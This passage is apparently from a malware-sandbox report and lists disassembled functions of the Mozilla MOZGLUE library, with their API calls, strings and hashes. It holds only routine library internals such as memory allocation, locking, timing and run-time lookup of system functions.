free.MOZGLUE(?), ref: 6CB716B4

Memory Dump Source

Source File: 00000000.00000002.2014786523.000000006CB11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB10000, based on PE: true

Associated: 00000000.00000002.2014750597.000000006CB10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014891659.000000006CB8D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014936940.000000006CB9E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014973866.000000006CBA2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb10000_file.jbxd

Similarity

API ID: CurrentThread$ConditionInitializeNow@Stamp@mozilla@@TimeV12@_Variablefree
String ID:
API String ID: 1909280232-0
Opcode ID: cb180c2a8e5e919508e5a339e4381393be5b6ba5931166947efe4d2a9bfcd76b
Instruction ID: 9a0cc680ed08bf886a7f0b5a38a0555787407cc491c17a8f3f295496964d3824
Opcode Fuzzy Hash: cb180c2a8e5e919508e5a339e4381393be5b6ba5931166947efe4d2a9bfcd76b
Instruction Fuzzy Hash: F061E271A007949BDB218F25C890BDE77B5FF8A308F04851DED8A57701DB31E948CBA2

Function 6CB69F40 Relevance: 9.2, APIs: 6, Instructions: 157timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6CB69FDB
free.MOZGLUE(?,?), ref: 6CB69FF0
free.MOZGLUE(?,?), ref: 6CB6A006
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6CB6A0BE
free.MOZGLUE(?,?), ref: 6CB6A0D5
free.MOZGLUE(?,?), ref: 6CB6A0EB

Memory Dump Source

Source File: 00000000.00000002.2014786523.000000006CB11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB10000, based on PE: true

Associated: 00000000.00000002.2014750597.000000006CB10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014891659.000000006CB8D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014936940.000000006CB9E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014973866.000000006CBA2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb10000_file.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: 8b4480cfab10eee3136de945d3aaaf226743a3cafeb8c394f8def494ef914d21
Instruction ID: c5228c975013896157935ffc42a55322b6e90a7105652788493ae354361fc3e2
Opcode Fuzzy Hash: 8b4480cfab10eee3136de945d3aaaf226743a3cafeb8c394f8def494ef914d21
Instruction Fuzzy Hash: EA61B0758086919FC711CF19C48055AB3F5FF88328F549659E8999BB02E731E986CFC2

Function 6CB6DC50 Relevance: 9.1, APIs: 6, Instructions: 104timethreadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CB6DC60
AcquireSRWLockExclusive.KERNEL32(?,?,?,6CB6D38A,?), ref: 6CB6DC6F
free.MOZGLUE(?,?,?,?,?,6CB6D38A,?), ref: 6CB6DCC1
ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,6CB6D38A,?), ref: 6CB6DCE9
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,6CB6D38A,?), ref: 6CB6DD05
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000001,?,?,?,6CB6D38A,?), ref: 6CB6DD4A

Memory Dump Source

Source File: 00000000.00000002.2014786523.000000006CB11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB10000, based on PE: true

Associated: 00000000.00000002.2014750597.000000006CB10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014891659.000000006CB8D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014936940.000000006CB9E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014973866.000000006CBA2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb10000_file.jbxd

Similarity

API ID: ExclusiveLockStampTimeV01@@Value@mozilla@@$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 1842996449-0
Opcode ID: f3e421e2ce0e6541ff95d0ab69698c95a1f30972134bf9bfb7cb5e259387dbe8
Instruction ID: f1953d5528535beea06a18f728d2421439dd6127b0ae593820224a7a0b64e118
Opcode Fuzzy Hash: f3e421e2ce0e6541ff95d0ab69698c95a1f30972134bf9bfb7cb5e259387dbe8
Instruction Fuzzy Hash: 0B417E75A00615CFCB00CFAAD88099EB7F5FF89318B654569D945A7B10D731FC04CB90

Function 6CB56590 Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 342COMMON

Download Yara Rule

APIs

Part of subcall function 6CB4FA80: GetCurrentThreadId.KERNEL32 ref: 6CB4FA8D
Part of subcall function 6CB4FA80: AcquireSRWLockExclusive.KERNEL32(6CB9F448), ref: 6CB4FA99

ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CB56727
?GetOrAddIndex@UniqueJSONStrings@baseprofiler@mozilla@@AAEIABV?$Span@$$CBD$0PPPPPPPP@@3@@Z.MOZGLUE(?,?,?,?,?,?,?,00000001), ref: 6CB567C8

Part of subcall function 6CB64290: memcpy.VCRUNTIME140(?,?,6CB72003,6CB70AD9,?,6CB70AD9,00000000,?,6CB70AD9,?,00000004,?,6CB71A62,?,6CB72003,?), ref: 6CB642C4

Strings

data, xrefs: 6CB56593

Memory Dump Source

Source File: 00000000.00000002.2014786523.000000006CB11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB10000, based on PE: true

Associated: 00000000.00000002.2014750597.000000006CB10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014891659.000000006CB8D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014936940.000000006CB9E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014973866.000000006CBA2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb10000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentIndex@P@@3@@ReleaseSpan@$$Strings@baseprofiler@mozilla@@ThreadUniquememcpy
String ID: data
API String ID: 511789754-2918445923
Opcode ID: f5511f33122cdc1402de0c418900d16b7db69632d583fd539265da7e229fbf0b
Instruction ID: 2e495f1ea6c65e8e630587fc0ed825f550a93aa5961d20adb5939aefb62bb154
Opcode Fuzzy Hash: f5511f33122cdc1402de0c418900d16b7db69632d583fd539265da7e229fbf0b
Instruction Fuzzy Hash: ABD1D175A083808FD724DF25D851BAFB7E5AFD6308F50492EE589C7B90DB30A809CB52

Function 6CB4D5D0 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 279COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000001,?,?,?,?,6CB1EB57,?,?,?,?,?,?,?,?,?), ref: 6CB4D652
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,6CB1EB57,?), ref: 6CB4D660
free.MOZGLUE(?,?,?,?,?,?,?,?,?,6CB1EB57,?), ref: 6CB4D673
free.MOZGLUE(?), ref: 6CB4D888

Strings

|Enabled, xrefs: 6CB4D81E

Memory Dump Source

Source File: 00000000.00000002.2014786523.000000006CB11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB10000, based on PE: true

Associated: 00000000.00000002.2014750597.000000006CB10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014891659.000000006CB8D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014936940.000000006CB9E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014973866.000000006CBA2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb10000_file.jbxd

Similarity

API ID: free$memsetmoz_xmalloc
String ID: |Enabled
API String ID: 4142949111-2633303760
Opcode ID: 13d01d933e771e0f3f6c5aa91c9abe271dbf73c5927f1ae98eb7a0a6c803d087
Instruction ID: f06f8052c24a276240d5b03f9da8a31c88b3708884718e5e204ebce2c40e5060
Opcode Fuzzy Hash: 13d01d933e771e0f3f6c5aa91c9abe271dbf73c5927f1ae98eb7a0a6c803d087
Instruction Fuzzy Hash: 7AA12670A083948FDB01CF79D4907AEBBF1EF4A318F18815CD899AB745D735A845CBA1

Function 6CB4F440 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 103fileCOMMON

Download Yara Rule

APIs

GetFileInformationByHandle.KERNEL32(00000000,?), ref: 6CB4F480

Part of subcall function 6CB1F100: LoadLibraryW.KERNEL32(shell32,?,6CB8D020), ref: 6CB1F122
Part of subcall function 6CB1F100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6CB1F132

CloseHandle.KERNEL32(00000000), ref: 6CB4F555

Part of subcall function 6CB214B0: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(6CB21248,6CB21248,?), ref: 6CB214C9
Part of subcall function 6CB214B0: memcpy.VCRUNTIME140(?,6CB21248,00000000,?,6CB21248,?), ref: 6CB214EF

Part of subcall function 6CB1EEA0: memcpy.VCRUNTIME140(?,?,?), ref: 6CB1EEE3

CreateFileW.KERNEL32 ref: 6CB4F4FD
GetFileInformationByHandle.KERNEL32(00000000), ref: 6CB4F523

Strings

\oleacc.dll, xrefs: 6CB4F4CB

Memory Dump Source

Source File: 00000000.00000002.2014786523.000000006CB11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB10000, based on PE: true

Associated: 00000000.00000002.2014750597.000000006CB10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014891659.000000006CB8D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014936940.000000006CB9E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014973866.000000006CBA2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb10000_file.jbxd

Similarity

API ID: FileHandle$Informationmemcpy$AddressCloseCreateLibraryLoadProcwcslen
String ID: \oleacc.dll
API String ID: 2595878907-3839883404
Opcode ID: cecdaa6f324d74a7778cb4b92349c174286a7e0c5f0fbd9c34dd238609628f22
Instruction ID: ba58edb5fed05748d9899e52a7cbc6936ffa9e073136cc71882c68f7b8336f83
Opcode Fuzzy Hash: cecdaa6f324d74a7778cb4b92349c174286a7e0c5f0fbd9c34dd238609628f22
Instruction Fuzzy Hash: B3418D306087909FE720DF69C984A9AB7F8EF85318F508A1CE59583654EB70E949CB92

Function 6CB5E020 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 76threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CB59420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CB24A68), ref: 6CB5945E
Part of subcall function 6CB59420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CB59470
Part of subcall function 6CB59420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CB59482
Part of subcall function 6CB59420: __Init_thread_footer.LIBCMT ref: 6CB5949F

GetCurrentThreadId.KERNEL32 ref: 6CB5E047
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CB5E04F

Part of subcall function 6CB594D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CB594EE
Part of subcall function 6CB594D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CB59508

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CB5E09C
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CB5E0B0

Strings

[I %d/%d] profiler_get_profile, xrefs: 6CB5E057

Memory Dump Source

Source File: 00000000.00000002.2014786523.000000006CB11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB10000, based on PE: true

Associated: 00000000.00000002.2014750597.000000006CB10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014891659.000000006CB8D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014936940.000000006CB9E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014973866.000000006CBA2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb10000_file.jbxd

Similarity

API ID: getenv$free$CurrentInit_thread_footerThread__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [I %d/%d] profiler_get_profile
API String ID: 1832963901-4276087706
Opcode ID: 3897a920f9c237d9fe781eca08442b7c5a2add299bf22278f1283912955beede
Instruction ID: 1e5b2217cc51f85d2abd55942f58abfa112541d2413a54915dcd91212cb22f15
Opcode Fuzzy Hash: 3897a920f9c237d9fe781eca08442b7c5a2add299bf22278f1283912955beede
Instruction Fuzzy Hash: 31210774B001888FDF04DF64D8596EEB7B9EF46208F980014ED0AD7340DB35A919C7D2

Function 6CB774A0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 72COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(00000000), ref: 6CB77526
__Init_thread_footer.LIBCMT ref: 6CB77566
__Init_thread_footer.LIBCMT ref: 6CB77597

Strings

kernel32.dll, xrefs: 6CB77557
UnmapViewOfFile2, xrefs: 6CB77552

Memory Dump Source

Source File: 00000000.00000002.2014786523.000000006CB11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB10000, based on PE: true

Associated: 00000000.00000002.2014750597.000000006CB10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014891659.000000006CB8D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014936940.000000006CB9E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014973866.000000006CBA2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb10000_file.jbxd

Similarity

API ID: Init_thread_footer$ErrorLast
String ID: UnmapViewOfFile2$kernel32.dll
API String ID: 3217676052-1401603581
Opcode ID: 5ad7efb0f3c2681714cb905be754a0a8952b1d5c6e351d59bd7c44ad0ae6138a
Instruction ID: f28b4ccdf55678cc9001edc3a2524c420526c8aed6d9e9133a744df7f2c255ef
Opcode Fuzzy Hash: 5ad7efb0f3c2681714cb905be754a0a8952b1d5c6e351d59bd7c44ad0ae6138a
Instruction Fuzzy Hash: B82122357005C1ABCF269FE9D914E9E3375EB47338F144538EC16A7B80C7A4A8128BA2

Function 6CB7A7A0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 43stringCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CB9F770,-00000001,?,6CB8E330,?,6CB3BDF7), ref: 6CB7A7AF
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,accelerator.dll,?,6CB3BDF7), ref: 6CB7A7C2
moz_xmalloc.MOZGLUE(00000018,?,6CB3BDF7), ref: 6CB7A7E4
LeaveCriticalSection.KERNEL32(6CB9F770), ref: 6CB7A80A

Strings

accelerator.dll, xrefs: 6CB7A7BF

Memory Dump Source

Source File: 00000000.00000002.2014786523.000000006CB11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB10000, based on PE: true

Associated: 00000000.00000002.2014750597.000000006CB10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014891659.000000006CB8D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014936940.000000006CB9E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014973866.000000006CBA2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb10000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeavemoz_xmallocstrcmp
String ID: accelerator.dll
API String ID: 2442272132-2426294810
Opcode ID: 7ff5fd4b10b86f7cc98adfad993f52b63f680393733a71cb11f20f33ad7666ad
Instruction ID: 3c7b9a756a01440e8aac1e6e27a015d1d4dfd83ca7866c9116434c8945fcafef
Opcode Fuzzy Hash: 7ff5fd4b10b86f7cc98adfad993f52b63f680393733a71cb11f20f33ad7666ad
Instruction Fuzzy Hash: 80018BB16003849F9F04CF9AD884C2677B8FB9A325704806AFD198B751DBB5EC00CFA2

Function 6CB1F0A0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 26libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ole32,?,6CB1EE51,?), ref: 6CB1F0B2
GetProcAddress.KERNEL32(00000000,CoTaskMemFree), ref: 6CB1F0C2

Strings

Could not find CoTaskMemFree, xrefs: 6CB1F0E3
Could not load ole32 - will not free with CoTaskMemFree, xrefs: 6CB1F0DC
ole32, xrefs: 6CB1F0AD

Memory Dump Source

Source File: 00000000.00000002.2014786523.000000006CB11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB10000, based on PE: true

Associated: 00000000.00000002.2014750597.000000006CB10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014891659.000000006CB8D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014936940.000000006CB9E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014973866.000000006CBA2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb10000_file.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: Could not find CoTaskMemFree$Could not load ole32 - will not free with CoTaskMemFree$ole32
API String ID: 2574300362-1578401391
Opcode ID: 781751ff6af901482fe1e7f67033692d7f7832c4d7fd8b191e41b131b5ff1550
Instruction ID: 35df8aa4d1e3e2dd4db23ce67ff9412ebd142656623af4c94a13296f7d95c6e5
Opcode Fuzzy Hash: 781751ff6af901482fe1e7f67033692d7f7832c4d7fd8b191e41b131b5ff1550
Instruction Fuzzy Hash: 0DE026743887C19FAF246E73A80CA2A37BDEB13229308843DF402D3E40EE20D000C623

Function 6CB50080 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(wintrust.dll,?,6CB27204), ref: 6CB50088
GetProcAddress.KERNEL32(00000000,CryptCATAdminAcquireContext2), ref: 6CB500A7
FreeLibrary.KERNEL32(?,6CB27204), ref: 6CB500BE

Strings

CryptCATAdminAcquireContext2, xrefs: 6CB500A1
wintrust.dll, xrefs: 6CB50083

Memory Dump Source

Source File: 00000000.00000002.2014786523.000000006CB11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB10000, based on PE: true

Associated: 00000000.00000002.2014750597.000000006CB10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014891659.000000006CB8D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014936940.000000006CB9E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014973866.000000006CBA2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb10000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: CryptCATAdminAcquireContext2$wintrust.dll
API String ID: 145871493-3385133079
Opcode ID: ee575b12c6ccfc1af61338099a5935409295478061b51b03da67f1fc597bf700
Instruction ID: 894585bf28430df44ca2b72e4b905ac5fbc7adeb637e3838f3e10d38f8a8718d
Opcode Fuzzy Hash: ee575b12c6ccfc1af61338099a5935409295478061b51b03da67f1fc597bf700
Instruction Fuzzy Hash: ABE01A74200784DBDF50AF36DA487053BFDA70B36AF444429BA20C3620D774C0109F12

Function 6CB500D0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(wintrust.dll,?,6CB27235), ref: 6CB500D8
GetProcAddress.KERNEL32(00000000,CryptCATAdminCalcHashFromFileHandle2), ref: 6CB500F7
FreeLibrary.KERNEL32(?,6CB27235), ref: 6CB5010E

Strings

wintrust.dll, xrefs: 6CB500D3
CryptCATAdminCalcHashFromFileHandle2, xrefs: 6CB500F1

Memory Dump Source

Source File: 00000000.00000002.2014786523.000000006CB11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB10000, based on PE: true

Associated: 00000000.00000002.2014750597.000000006CB10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014891659.000000006CB8D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014936940.000000006CB9E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014973866.000000006CBA2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb10000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: CryptCATAdminCalcHashFromFileHandle2$wintrust.dll
API String ID: 145871493-2559046807
Opcode ID: 18295b41590a48f976c5e395fedcadc6e179ee1887bfc3ee4835f314fe9375de
Instruction ID: 60b4714e892c003d43735f159d4dac6582d7db2317687ad1db7b0208900b828a
Opcode Fuzzy Hash: 18295b41590a48f976c5e395fedcadc6e179ee1887bfc3ee4835f314fe9375de
Instruction Fuzzy Hash: 84E04F74241385DBEF419F26DB4A7213BFCE70332AF604429B90983601DB70C090CB12

Function 6CB7C410 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6CB7C0E9), ref: 6CB7C418
GetProcAddress.KERNEL32(00000000,NtQueryVirtualMemory), ref: 6CB7C437
FreeLibrary.KERNEL32(?,6CB7C0E9), ref: 6CB7C44C

Strings

ntdll.dll, xrefs: 6CB7C413
NtQueryVirtualMemory, xrefs: 6CB7C431

Memory Dump Source

Source File: 00000000.00000002.2014786523.000000006CB11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB10000, based on PE: true

Associated: 00000000.00000002.2014750597.000000006CB10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014891659.000000006CB8D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014936940.000000006CB9E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014973866.000000006CBA2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb10000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtQueryVirtualMemory$ntdll.dll
API String ID: 145871493-2623246514
Opcode ID: d1cad498b93e64b389070403ae14f1215417826759a7d9bea55bdecb70b0136e
Instruction ID: 714d6efba4990875a81af0aeab1b965bb03176a9ab5e07e1319ad7af15c998c8
Opcode Fuzzy Hash: d1cad498b93e64b389070403ae14f1215417826759a7d9bea55bdecb70b0136e
Instruction Fuzzy Hash: 9DE0B674611741DBDF60BF71DB487157BFCE707326F10452ABA1493621EBB0C4108B61

Function 6CB775B0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6CB7748B,?), ref: 6CB775B8
GetProcAddress.KERNEL32(00000000,RtlNtStatusToDosError), ref: 6CB775D7
FreeLibrary.KERNEL32(?,6CB7748B,?), ref: 6CB775EC

Strings

ntdll.dll, xrefs: 6CB775B3
RtlNtStatusToDosError, xrefs: 6CB775D1

Memory Dump Source

Source File: 00000000.00000002.2014786523.000000006CB11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB10000, based on PE: true

Associated: 00000000.00000002.2014750597.000000006CB10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014891659.000000006CB8D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014936940.000000006CB9E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014973866.000000006CBA2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb10000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: RtlNtStatusToDosError$ntdll.dll
API String ID: 145871493-3641475894
Opcode ID: ddd2b625da3f90015fbaa37ac2a393fc3907adc2690bb1f9ec5b0e0a30fd5461
Instruction ID: 898957c32a616f4f53d93c2c20d7bde05097ca64828f0382ee76a4b4aa0535d9
Opcode Fuzzy Hash: ddd2b625da3f90015fbaa37ac2a393fc3907adc2690bb1f9ec5b0e0a30fd5461
Instruction Fuzzy Hash: 1BE09275700741ABEB11AFA2EA487017BF8EB17228F104829BD15D3600EBF884518F51

Function 6CB77600 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6CB77592), ref: 6CB77608
GetProcAddress.KERNEL32(00000000,NtUnmapViewOfSection), ref: 6CB77627
FreeLibrary.KERNEL32(?,6CB77592), ref: 6CB7763C

Strings

ntdll.dll, xrefs: 6CB77603
NtUnmapViewOfSection, xrefs: 6CB77621

Memory Dump Source

Source File: 00000000.00000002.2014786523.000000006CB11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB10000, based on PE: true

Associated: 00000000.00000002.2014750597.000000006CB10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014891659.000000006CB8D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014936940.000000006CB9E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014973866.000000006CBA2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb10000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtUnmapViewOfSection$ntdll.dll
API String ID: 145871493-1050664331
Opcode ID: 21529d8e7fb70bed97cc93124d1c24d247baebc987904edb9abe758979f55809
Instruction ID: c4fd66b551477ec6b630f06c86a2d4452b537a5d06b92cb3e4db396fbb3eaf22
Opcode Fuzzy Hash: 21529d8e7fb70bed97cc93124d1c24d247baebc987904edb9abe758979f55809
Instruction Fuzzy Hash: A3E092B4604781ABDF11AFA6DA087467BB8E72B269F104529FD15D3601E7B880008F15

Function 6CB7BE50 Relevance: 7.7, APIs: 5, Instructions: 163memoryCOMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,?,?,6CB7BE49), ref: 6CB7BEC4
RtlCaptureStackBackTrace.NTDLL ref: 6CB7BEDE
memset.VCRUNTIME140(00000000,00000000,-00000008,?,6CB7BE49), ref: 6CB7BF38
RtlReAllocateHeap.NTDLL ref: 6CB7BF83
RtlFreeHeap.NTDLL(6CB7BE49,00000000), ref: 6CB7BFA6

Memory Dump Source

Source File: 00000000.00000002.2014786523.000000006CB11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB10000, based on PE: true

Associated: 00000000.00000002.2014750597.000000006CB10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014891659.000000006CB8D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014936940.000000006CB9E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014973866.000000006CBA2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb10000_file.jbxd

Similarity

API ID: Heapmemset$AllocateBackCaptureFreeStackTrace
String ID:
API String ID: 2764315370-0
Opcode ID: cb9f92ad103e740e74c80bfac1d07971d1f478c1ffa9a566706e713bbe0f8855
Instruction ID: 6884ac2168b1a122f7bdb6b61484ec73db1ad12e469d43244ee35660488e8dfd
Opcode Fuzzy Hash: cb9f92ad103e740e74c80bfac1d07971d1f478c1ffa9a566706e713bbe0f8855
Instruction Fuzzy Hash: B9518471A002458FEB24CF69CD80B9AB3B6FF84714F294639D925ABB54D730F9068F91

Function 6CB68E00 Relevance: 7.6, APIs: 6, Instructions: 147COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,?,6CB5B58D,?,?,?,?,?,?,?,6CB8D734,?,?,?,6CB8D734), ref: 6CB68E6E
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6CB5B58D,?,?,?,?,?,?,?,6CB8D734,?,?,?,6CB8D734), ref: 6CB68EBF
free.MOZGLUE(?,?,?,?,6CB5B58D,?,?,?,?,?,?,?,6CB8D734,?,?,?), ref: 6CB68F24
